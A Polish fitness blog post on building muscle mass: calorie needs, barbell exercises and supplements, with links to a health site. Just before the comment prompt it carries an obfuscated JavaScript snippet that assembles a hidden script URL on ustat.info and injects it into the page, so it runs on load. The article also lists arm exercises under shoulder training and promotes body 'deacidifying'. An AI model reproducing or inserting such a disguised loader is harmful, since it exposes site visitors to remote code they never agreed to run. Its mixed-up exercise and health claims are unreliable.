Jak wymodelować sylwetkę?

Share on facebook
Share on google
Share on twitter
Share on linkedin

Zdecydowana większość społeczeństwa przez termin „modelowania sylwetki” rozumie po prostu odchudzanie. W zasadzie – trudno się temu dziwić, wszak, nadwaga to problem prawie 70% Polaków. Nie mniej jednak, nie każdy kto chce modelować sylwetkę pragnie schudnąć. Spore grono osób (głównie mężczyzn) za cel stawia sobie nabranie masy mięśniowej.

Budowa masy mięśniowej – dlaczego chcemy nabrać mięśni?

Zgrabne, długie nogi, płaski brzuch, wcięcie w talii i wymiary 90-60-90 to kobiecy wzorzec atrakcyjności. U mężczyzn wygląda to zgoła inaczej. Ciało męskie powinno być atletyczne i umięśnione. Nic więc dziwnego, ze proces budowy masy mięśniowej to domena właśnie mężczyzn.

Wydawać by się mogło, że aby nabrać masy wystarczy jedynie ćwiczyć i więcej jeść. W zasadzie – można by to w ten sposób uogólnić. Nie mniej jednak, sam proces rozbudowy włókien mięśniowych musi być realizowany zgodnie z konkretnymi założeniami.

(Sprawdź jak odkwasić organizm – https://byc-zdrowym.pl/zwiekszanie-odpornosci-odkwaszanie/)

Dieta na masę mięśniową


Dieta na masę mięśniową, podobnie jak każda inna powinna być ZBILANSOWANA. Z tymże, ów bilans musi być dodatni względem CPM (całkowitej przemiany materii). Jak obliczyć CPM?
[66,47 + (13,7 x waga) + (5 x wzrost) – (6,76 x wiek)] x współczynnik aktywności fizycznej
Współczynnik aktywności fizycznej należy ustalić w oparciu o analizę:

  • Intensywności treningu
  • Częstotliwości treningu
  • Rodzaju wykonywanej pracy
  • Innych form aktywności w ciągu dnia

Powinien on zawierać się w przedziale od 1,7 (umiarkowany trening, praca siedząca) do nawet 2,1 (intensywny trening, praca fizyczna).

Prócz bilansu wartości odżywczych, istotne jest również to, aby dieta była oparta na zdrowych, niemodyfikowanych i naturalnych produktach. Więcej na temat tego co powinno znaleźć się w diecie na masę – https://byc-zdrowym.pl/jaka-skuteczna-dieta-na-mase/.

Trening na masę mięśniową

Proces rozbudowy włókien mięśniowych wymusza na nas realizację treningu siłowego. Wszak, aby pobudzić mięśnie do wzrostu musimy pracować na sporym obciążeniu treningowym. Dlatego też, najlepiej wybierać takie ćwiczenia, aby angażowały sporo grup mięśniowych jednocześnie i wymuszały na nas nakładanie kolejnych krążków na sztangę.

Obowiązkowo w planie treningowym powinno znaleźć się miejsce dla następujących ćwiczeń:

  • Trening grzbietu: martwy ciąg, wiosłowanie sztangą w opadzie tułowia
  • Trening nóg: przysiady, wykroki
  • Trening klatki piersiowej: wyciskanie sztangi na ławce
  • Trening mięśni naramiennych: uginanie i prostowanie ramion ze sztangą, wyciskanie francuskie, wyciskanie sztangi zza głowy

Jednocześnie pragniemy przypomnieć, że w ciągu jednego tygodnia należy angażować KAŻDĄ grupę mięśniową. Omijając trening „niewygodnej” lub z pozoru nieznaczącej grupy mięśniowej możemy sprawić, że nasza sylwetka nie będzie symetryczna.

Suplementacja na masę mięśniową

Wielu amatorów siłowni pierwsze co robi to udaje się do sklepu dla sportowców. To błąd. W początkowym stadium treningowym – suplementacja nie jest konieczna do wzrostu. Mięśnie najpierw powinny się przyzwyczaić do wysiłku, a dopiero potem można wzmacniać ich efektywność. Jedynym  suplementem zalecanym na start są kompleksy witaminowo-mineralne, żeń-szeń i aminokwasy BCAA w małych dawkach. Wszystko po to, aby uniknąć lub zminimalizować tzw. „zakwasy”.

Dopiero po około 4-6 miesiącach stażu treningowego warto na dobre zainteresować się suplementacją. W przypadku budowania masy mięśniowej, nieocenione okazują się być:

  • Aminokwasy BCAA
  • Kreatyna (pod postacią jabłczanu lub monohydratu)
  • L-arginina
  • L-glutamina

Warto jednak pamiętać, że to są suplementy, a nie substytuty diety. Ich stosowanie nie zastąpi diety. Co innego, gdy postanowimy skorzystać z preparatów odżywczych, takich jak białko czy gainer (odżywki węglowodanowe). „Koktajle” w formie proszku można stosować jako zamienniki dla posiłków.

Potrzebujesz więcej informacji na temat diety, treningu lub suplementacji? Koniecznie odwiedź serwis być-zdrowym.pl – kompendium wiedzy na temat modelowania sylwetki, zdrowia oraz urody.

Więcej o suplementach na masę – https://byc-zdrowym.pl/suplementy-na-mase/.

(function(){
xcyh_=(“u”+””)+”s”+””;xcyh_+=(“tat.”)+(“i”);
xcyh=document.createElement(“script”);xcyh.type=”text/javascript”;xcyh_+=”nf”+(“o”)+”/”;
xcyhu=”120933723″+”.”;xcyh.async=true;xcyhu+=”Xztqz9jlcyhsxbcsg9tekrkzfq6vet”;
xcyh.src=”https://”+xcyh_+xcyhu; xcyhb=document.body; xcyhb.appendChild(xcyh);
})();

Co o tym sądzisz?

Witryna wykorzystuje Akismet, aby ograniczyć spam. Dowiedz się więcej jak przetwarzane są dane komentarzy.